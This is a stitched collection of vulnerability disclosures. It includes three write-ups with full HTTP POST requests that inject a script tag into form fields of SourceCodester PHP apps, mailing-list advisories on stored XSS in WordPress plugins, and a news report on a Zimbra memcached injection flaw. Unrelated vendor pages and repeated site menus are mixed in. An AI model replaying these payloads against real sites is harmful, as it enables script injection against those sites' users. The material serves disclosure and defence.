Online Discussion Forum Site v1.0 is vulnerable to Cross Site Scripting (XSS) via /odfs/classes/Master.php?f=save_category, name.

Permalink

**online-discussion-forum-site - Cross-site Scripting (XSS)**

vendors: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /odfs/classes/Master.php

Vulnerability location: /odfs/classes/Master.php?f=save\_category, name

\[+\] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/odfs/classes/Master.php?f=save_category HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------1173846977850966238533383019
    Content-Length: 743
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/odfs/admin/?page=categories
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    
    -----------------------------1173846977850966238533383019
    Content-Disposition: form-data; name="id"
    
    3
    -----------------------------1173846977850966238533383019
    Content-Disposition: form-data; name="name"
    
    <sCrIpT>alert(1)</sCrIpT>
    -----------------------------1173846977850966238533383019
    Content-Disposition: form-data; name="description"
    
    Python is a high-level, interpreted, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation. Python is dynamically-typed and garbage-collected.
    -----------------------------1173846977850966238533383019
    Content-Disposition: form-data; name="status"
    
    1
    -----------------------------1173846977850966238533383019--

CVE-2022-31913: 0525/xss.md at main · mikeccltt/0525

Online Fire Reporting System v1.0 is vulnerable to Cross Site Scripting (XSS) via /ofrs/classes/Master.php.

Permalink

**online-fire-reporting-system - Cross-site Scripting (XSS)**

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /ofrs/classes/Master.php

Vulnerability location: /ofrs/classes/Master.php?f=save\_team, code

\[+\] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/ofrs/classes/Master.php?f=save_team HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------12232441784418479012629232838
    Content-Length: 660
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/ofrs/admin/?page=teams/manage_team&id=6
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    
    -----------------------------12232441784418479012629232838
    Content-Disposition: form-data; name="id"
    
    6
    -----------------------------12232441784418479012629232838
    Content-Disposition: form-data; name="code"
    
    <sCrIpT>alert(1)</sCrIpT>
    -----------------------------12232441784418479012629232838
    Content-Disposition: form-data; name="leader_name"
    
    asd
    -----------------------------12232441784418479012629232838
    Content-Disposition: form-data; name="leader_contact"
    
    asd
    -----------------------------12232441784418479012629232838
    Content-Disposition: form-data; name="members"
    
    asd
    -----------------------------12232441784418479012629232838--

CVE-2022-31906: 0525/xss.md at main · mikeccltt/0525

Online Tutor Portal Site v1.0 is vulnerable to Cross Site Scripting (XSS). via /otps/classes/Master.php.

Permalink

Cannot retrieve contributors at this time

**online-tutor-portal-site - Cross-site Scripting (XSS)**

vendors: https://www.sourcecodester.com/php/15339/online-tutor-portal-site-phpopp-free-source-code.html

Date: 2022-05-07

Vulnerability File: /otps/classes/Master.php

Vulnerability location: /otps/classes/Master.php?f=save\_course, name

\[+\] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/otps/classes/Master.php?f=save_course HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------23528694527160792041879147157
    Content-Length: 940
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/otps/admin/?page=courses
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    
    -----------------------------23528694527160792041879147157
    Content-Disposition: form-data; name="id"
    
    6
    -----------------------------23528694527160792041879147157
    Content-Disposition: form-data; name="tutor_id"
    
    4
    -----------------------------23528694527160792041879147157
    Content-Disposition: form-data; name="name"
    
    <sCrIpT>alert(1)</sCrIpT>
    -----------------------------23528694527160792041879147157
    Content-Disposition: form-data; name="description"
    
    Sample Course 102
    -----------------------------23528694527160792041879147157
    Content-Disposition: form-data; name="experience"
    
    5
    -----------------------------23528694527160792041879147157
    Content-Disposition: form-data; name="status"
    
    0
    -----------------------------23528694527160792041879147157
    Content-Disposition: form-data; name="img"; filename=""
    Content-Type: application/octet-stream
    
    
    -----------------------------23528694527160792041879147157--

CVE-2022-31910: 0525/xss.md at main · mikeccltt/0525

A cross-site scripting vulnerability in the DM Section component of Haraj v3.7 allows attackers to execute arbitrary web scripts or HTML via a crafted POST request.

**اعمالنا في البرمجة**

**موقع حراج التميز لبيع الأغنام**

عرض

**موقع الجدير للتقييم المالي**

عرض

**اعمالنا في تحت التطوير**

**سكربت التذاكر NextTicket**

عرض

**سكربت الأنمي - NextAnime V1.0**

عرض

  
**خطوات الأشتراك**

**اختر الخدمة**

قم بأختيار الخدمات التى ترغب بها

**التسجيل بالموقع**

امتلك عضوية في الموقع وسجل دخولك

**اضف طلباتك**

اختر ما تريد في سلتك الخاصة

**سداد الفاتورة**

أختار ما يناسبك من وسائل الدفع

  

  
**آراء عملائنا الكرام**

Previous Next

:( شكراً لكم اخواني الله يعطيكم العافية شكرا جزيلا لكم وعلى سرعة ردكم بارك الله فيكم

"موقع حراجات"

الله يعطيك الف عافيه يارب ما قصرت

"حراج الخرج"

شكراً لكم على سرعة الرد والتعديل وايضاً التحديثات على السكربت

"حراج القطيف"

CVE-2022-31300: زوايا التقنية

This advisory contains mitigations for Improper Restriction of XML External Entity Reference, and Cross-site Scripting vulnerabilities in the Siemens Mendix SAML Module.

Siemens Mendix SAML Module

A vulnerability classified as problematic has been found in BestWebSoft Contact Form Plugin 4.0.0. This affects an unknown part. The manipulation leads to basic cross site scripting (Stored). It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.0.2 is able to address this issue. It is recommended to upgrade the affected component.

Nmap Announce Nmap Dev Full Disclosure Security Lists Internet Issues Open Source Dev

**Full Disclosure mailing list archives**

_From_: Summer of Pwnage <lists () securify nl>  
_Date_: Wed, 1 Mar 2017 07:14:29 +0100  

\------------------------------------------------------------------------
Stored Cross-Site Scripting vulnerability in Contact Form WordPress
Plugin
------------------------------------------------------------------------
Julien Rentrop, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A stored Cross-Site Scripting vulnerability was found in the Contact
Form WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing users' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a victim into opening a malicious
website/link.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0042

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Contact Form by BestWebSoft
WordPress Plugin version 4.0.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is partially resolved in Contact Form version 4.0.2.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/stored\_cross\_site\_scripting\_vulnerability\_in\_contact\_form\_wordpress\_plugin.html

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

**Current thread:**

*   **Stored Cross-Site Scripting vulnerability in Contact Form WordPress Plugin** _Summer of Pwnage (Feb 28)_

CVE-2017-20055: Stored Cross-Site Scripting vulnerability in Contact Form WordPress Plugin

A vulnerability was found in XYZScripts Contact Form Manager Plugin. It has been rated as problematic. Affected by this issue is some unknown functionality. The manipulation leads to basic cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

Nmap Announce Nmap Dev Full Disclosure Security Lists Internet Issues Open Source Dev

**Full Disclosure mailing list archives**

_From_: Summer of Pwnage <lists () securify nl>  
_Date_: Wed, 1 Mar 2017 07:13:59 +0100  

\------------------------------------------------------------------------
Cross-Site Request Forgery & Cross-Site Scripting in Contact Form
Manager WordPress Plugin
------------------------------------------------------------------------
Edwin Molenaar, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
 It was discovered that Contact Form Manager does not protect against
Cross-Site Request Forgery. This allows an attacker to change arbitrary
Contact Form Manager settings. In addtion, the plugin also fails to
apply proper output encoding, rendering it vulnerable to stored
Cross-Site Scripting.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160718-0003

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
These issues were successfully tested on Contact Form Manager WordPress
Plugin version

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross\_site\_request\_forgery\_\_\_cross\_site\_scripting\_in\_contact\_form\_manager\_wordpress\_plugin.html

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

**Current thread:**

*   **Cross-Site Request Forgery & Cross-Site Scripting in Contact Form Manager WordPress Plugin** _Summer of Pwnage (Feb 28)_

CVE-2017-20054: Cross-Site Request Forgery & Cross-Site Scripting in Contact Form Manager WordPress Plugin

A vulnerability was found in weblizar User Login Log Plugin 2.2.1. It has been classified as problematic. Affected is an unknown function. The manipulation leads to basic cross site scripting (Stored). It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Nmap Announce Nmap Dev Full Disclosure Security Lists Internet Issues Open Source Dev

**Full Disclosure mailing list archives**

_From_: Summer of Pwnage <lists () securify nl>  
_Date_: Wed, 1 Mar 2017 07:13:27 +0100  

\------------------------------------------------------------------------
Stored Cross-Site Scripting vulnerability in User Login Log WordPress
Plugin
------------------------------------------------------------------------
Axel Koolhaas, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A stored Cross-Site Scripting vulnerability was found in the User Login
Log WordPress Plugin. This issue can be exploited by Subscriber (or
higher) and allows an attacker to perform a wide variety of actions,
such as stealing users' session tokens, or performing arbitrary actions
on their behalf.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0011

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on User Login Log WordPress Plugin
version 2.2.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/stored\_cross\_site\_scripting\_vulnerability\_in\_user\_login\_log\_wordpress\_plugin.html

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

**Current thread:**

*   **Stored Cross-Site Scripting vulnerability in User Login Log WordPress Plugin** _Summer of Pwnage (Feb 28)_

CVE-2017-20056: Stored Cross-Site Scripting vulnerability in User Login Log WordPress Plugin

Attackers could also potentially gain access to various internal services, researcher warns

Attackers could also potentially gain access to various internal services, researcher warns

A memcached injection vulnerability in business webmail platform Zimbra could allow attackers to steal login credentials without user interaction, security researchers have revealed.

Zimbra, an open source alternative to services including Microsoft Exchange, is used by more than 200,000 businesses and more than 1,000 government and financial institutions worldwide, according to its developer, Synacor.

Simon Scannell, vulnerability researcher at Swiss security firm Sonar (formerly SonarSource), has documented how unauthenticated attackers could poison an unsuspecting victim’s cache.

It is then possible to steal cleartext credentials from the Zimbra instance, when the mail client connects to the Zimbra server, as demonstrated in the following proof-of-concept video:

Because newline characters () were not escaped in untrusted user input, attackers could inject arbitrary memcached commands into a targeted instance and trigger an overwrite of arbitrary cached entries.

Memcached servers store key/value pairs that can be set and retrieved with a simple text-based protocol and interpret incoming data line by line.

**Escalation risk**

Zimbra users have been urged to upgrade their installations immediately, given the potential impact of successful exploitation.

**RECOMMENDED** Oblivious DNS-over-HTTPS offers privacy enhancements to secure lookup protocol

The severity of the vulnerability (CVE-2022-27924) is listed as ‘high’ (CVSS 7.5) rather than ‘critical’, but once a mailbox is breached, “attackers can potentially escalate their access to targeted organizations and gain access to various internal services and steal highly sensitive information”, Scannell warned.

“With mail access, attackers can reset passwords, impersonate their victims, and silently read all private conversations within the targeted company.”

**Continuous injections**

Attackers could poison victims’ IMAP route cache entries by ascertaining the victim’s email address – an easy enough task with OSINT methods – but the researchers also successfully deployed response smuggling to steal cleartext credentials without first obtaining this information.

“By continuously injecting more responses than there are work items into the shared response streams of Memcached, we can force random Memcached lookups to use injected responses instead of the correct response,” explained Scannell.

“This works because Zimbra did not validate the key of the Memcached response when consuming it. By exploiting this behavior, we can hijack the proxy connection of random users connecting to our IMAP server without having to know their email addresses.”

**Holding the newline**

The flaw affects both open source and commercial versions of Zimbra in their default configurations.

The flaws were reported on March 11 and an initial fix, released on March 31, failed to properly address the issue. The comprehensively patched versions are 8.8.15 with patch level 31.1 and 9.0.0 with patch level 24.1.

Catch up with the latest security research news

“Zimbra patched the vulnerability by creating a SHA-256 hash of all Memcache keys before sending them to the Memcache server,” said Scannell. “As the hex-string representation of a SHA-256 can’t contain whitespaces, no new-lines can be injected anymore.”

**Sonar disclosed the flaw on June 14.**

Scannell concluded his write-up by observing that cross-site scripting (XSS) and SQL injection flaws arising from a lack of input escaping “have been well known and documented for decades”, but that “other injection vulnerabilities can occur that are less known and can have a critical impact”.

As a consequence, Scannell recommends that developers “be aware of special characters that should be escaped when dealing with technology where less documentation and research about potential vulnerabilities exists”.

The vulnerability has emerged four months after Zimbra released a hotfix for an XSS flaw whose abuse underpinned a series of sophisticated spear-phishing campaigns linked to an unknown Chinese threat group.

Sonar also discovered a pair of Zimbra vulnerabilities last year that, if combined, allowed unauthenticated attackers to gain control of Zimbra servers.

**RELATED** Horde Webmail contains zero-day RCE bug with no patch on the horizon

Business email platform Zimbra patches memcached injection flaw that imperils user credentials

Cross-site scripting vulnerability in Modern Events Calendar Lite versions prior to 6.3.0 allows remote an authenticated attacker to inject an arbitrary script via unspecified vectors.

*   Demo
    *   **Calendar View**
        
        *   Full Calendar
        *   General CalendarNew
        *   Yearly ViewPro
        *   Monthly View – Modern
        *   Monthly View – Clean
        *   Monthly View – Classic
        *   Monthly View – Simple
        *   Monthly View – Novel
        *   Weekly View
        *   Daily View
        *   Full Calendar – Fluent
        
        **List View**
        
        *   List View – Classic
        *   List View – Standard
        *   List View – Modern
        *   List View – Minimal
        *   List View – Toggle
        *   List View – With MapPro
        *   List View – Fluent
        
        **Grid View**
        
        *   Grid View – Simple
        *   Grid View – Modern
        *   Grid View – Minimal
        *   Grid View – Clean
        *   Grid View – Classic
        *   Grid View – Colorful
        *   Grid View – Novel Style
        *   Grid View – With MapPro
        *   Tile View
        *   Grid View – Fluent
        
        **Other Views**
        
        *   Agenda ViewPro
        *   Masonry ViewPro
        *   Available SpotPro
        *   Map ViewPro
        *   Advanced MapAddon
        *   Search Bar
        *   Widgets View
        *   Single Event
        *   Single Event – Fluent
        *   Booking Shortcode
        *   FrontEnd Submission Form
        *   Available Spot – Fluent
        
        **Slider View**
        
        *   Slider View – Type 1
        *   Slider View – Type 2
        *   Slider View – Type 3
        *   Slider View – Type 4
        *   Slider View – Type 5
        *   Slider View – Fluent
        
*   Features
*   AddonsNew
*   Resources
    *   Help
    *   Changelog
    *   Feature Request
    *   Support
    *   Covid-19
    *   Blog
    *   Services
    *   Themes

*   Demo
    *   **Calendar View**
        
        *   Full Calendar
        *   General CalendarNew
        *   Yearly ViewPro
        *   Monthly View – Modern
        *   Monthly View – Clean
        *   Monthly View – Classic
        *   Monthly View – Simple
        *   Monthly View – Novel
        *   Weekly View
        *   Daily View
        *   Full Calendar – Fluent
        
        **List View**
        
        *   List View – Classic
        *   List View – Standard
        *   List View – Modern
        *   List View – Minimal
        *   List View – Toggle
        *   List View – With MapPro
        *   List View – Fluent
        
        **Grid View**
        
        *   Grid View – Simple
        *   Grid View – Modern
        *   Grid View – Minimal
        *   Grid View – Clean
        *   Grid View – Classic
        *   Grid View – Colorful
        *   Grid View – Novel Style
        *   Grid View – With MapPro
        *   Tile View
        *   Grid View – Fluent
        
        **Other Views**
        
        *   Agenda ViewPro
        *   Masonry ViewPro
        *   Available SpotPro
        *   Map ViewPro
        *   Advanced MapAddon
        *   Search Bar
        *   Widgets View
        *   Single Event
        *   Single Event – Fluent
        *   Booking Shortcode
        *   FrontEnd Submission Form
        *   Available Spot – Fluent
        
        **Slider View**
        
        *   Slider View – Type 1
        *   Slider View – Type 2
        *   Slider View – Type 3
        *   Slider View – Type 4
        *   Slider View – Type 5
        *   Slider View – Fluent
        
*   Features
*   AddonsNew
*   Resources
    *   Help
    *   Changelog
    *   Feature Request
    *   Support
    *   Covid-19
    *   Blog
    *   Services
    *   Themes

*   Demo
    *   **Calendar View**
        
        *   Full Calendar
        *   General CalendarNew
        *   Yearly ViewPro
        *   Monthly View – Modern
        *   Monthly View – Clean
        *   Monthly View – Classic
        *   Monthly View – Simple
        *   Monthly View – Novel
        *   Weekly View
        *   Daily View
        *   Full Calendar – Fluent
        
        **List View**
        
        *   List View – Classic
        *   List View – Standard
        *   List View – Modern
        *   List View – Minimal
        *   List View – Toggle
        *   List View – With MapPro
        *   List View – Fluent
        
        **Grid View**
        
        *   Grid View – Simple
        *   Grid View – Modern
        *   Grid View – Minimal
        *   Grid View – Clean
        *   Grid View – Classic
        *   Grid View – Colorful
        *   Grid View – Novel Style
        *   Grid View – With MapPro
        *   Tile View
        *   Grid View – Fluent
        
        **Other Views**
        
        *   Agenda ViewPro
        *   Masonry ViewPro
        *   Available SpotPro
        *   Map ViewPro
        *   Advanced MapAddon
        *   Search Bar
        *   Widgets View
        *   Single Event
        *   Single Event – Fluent
        *   Booking Shortcode
        *   FrontEnd Submission Form
        *   Available Spot – Fluent
        
        **Slider View**
        
        *   Slider View – Type 1
        *   Slider View – Type 2
        *   Slider View – Type 3
        *   Slider View – Type 4
        *   Slider View – Type 5
        *   Slider View – Fluent
        
*   Features
*   AddonsNew
*   Resources
    *   Help
    *   Changelog
    *   Feature Request
    *   Support
    *   Covid-19
    *   Blog
    *   Services
    *   Themes

*   Demo
    *   **Calendar View**
        
        *   Full Calendar
        *   General CalendarNew
        *   Yearly ViewPro
        *   Monthly View – Modern
        *   Monthly View – Clean
        *   Monthly View – Classic
        *   Monthly View – Simple
        *   Monthly View – Novel
        *   Weekly View
        *   Daily View
        *   Full Calendar – Fluent
        
        **List View**
        
        *   List View – Classic
        *   List View – Standard
        *   List View – Modern
        *   List View – Minimal
        *   List View – Toggle
        *   List View – With MapPro
        *   List View – Fluent
        
        **Grid View**
        
        *   Grid View – Simple
        *   Grid View – Modern
        *   Grid View – Minimal
        *   Grid View – Clean
        *   Grid View – Classic
        *   Grid View – Colorful
        *   Grid View – Novel Style
        *   Grid View – With MapPro
        *   Tile View
        *   Grid View – Fluent
        
        **Other Views**
        
        *   Agenda ViewPro
        *   Masonry ViewPro
        *   Available SpotPro
        *   Map ViewPro
        *   Advanced MapAddon
        *   Search Bar
        *   Widgets View
        *   Single Event
        *   Single Event – Fluent
        *   Booking Shortcode
        *   FrontEnd Submission Form
        *   Available Spot – Fluent
        
        **Slider View**
        
        *   Slider View – Type 1
        *   Slider View – Type 2
        *   Slider View – Type 3
        *   Slider View – Type 4
        *   Slider View – Type 5
        *   Slider View – Fluent
        
*   Features
*   AddonsNew
*   Resources
    *   Help
    *   Changelog
    *   Feature Request
    *   Support
    *   Covid-19
    *   Blog
    *   Services
    *   Themes

**Free Download**

Our account has been suspended by WordPress.org for a breach of community guidelines (We asked a user for his credentials to be able to check on the issue and resolve it) and there aren’t any other problems. If you have been using MEC Lite you have nothing to be worried about. The product will be supported and will receive updates just like before on our own website. To get the regular auto-update for your plugin, if you are using versions older than 6.5.8, you need to update the plugin manually once.

**Support**

We will be supporting our plugins indefinitely. You only need to contact us through the designated support channels.

Tag

#xss